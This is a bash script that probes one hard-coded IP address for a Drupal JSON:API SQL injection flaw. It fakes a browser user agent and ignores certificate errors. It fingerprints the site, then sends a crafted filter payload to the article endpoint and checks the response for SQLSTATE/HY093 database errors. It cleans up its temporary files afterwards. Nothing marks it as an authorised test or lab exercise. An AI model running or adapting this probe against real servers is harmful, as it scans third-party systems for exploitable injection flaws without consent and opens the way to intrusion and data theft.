#!/bin/bash
UA='Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
ip=216.92.142.159
echo "root:"; curl -sk -m 12 -A "$UA" -o /tmp/x1.html "https://$ip/" -w '%{http_code}\n'
grep -aoiE '<title[^>]*>[^<]*|meta name="generator"[^>]*' /tmp/x1.html | head -2
echo "jsonapi root:"; curl -sk -m 12 -A "$UA" -o /tmp/x2.txt -w '%{http_code} size:%{size_download}\n' "https://$ip/jsonapi"
head -c 100 /tmp/x2.txt; echo
echo "article:"; curl -sk -m 12 -A "$UA" -o /dev/null -w '%{http_code} size:%{size_download}\n' "https://$ip/jsonapi/node/article"
echo "detect payload (30s):"
link=$(curl -sk -m 30 -A "$UA" -o /tmp/x3.txt -w '%{http_code} size:%{size_download}' "https://$ip/jsonapi/node/article?filter[t][condition][path]=title&filter[t][condition][value][%60]=x" 2>&1)
echo "$link"
[ -f /tmp/x3.txt ] && { echo "HY093 count: $(grep -ac 'HY093' /tmp/x3.txt)"; grep -aoE 'SQLSTATE[^<]{0,80}' /tmp/x3.txt | head -1; }
rm -f /tmp/x*.txt /tmp/x1.html
echo D6DONE
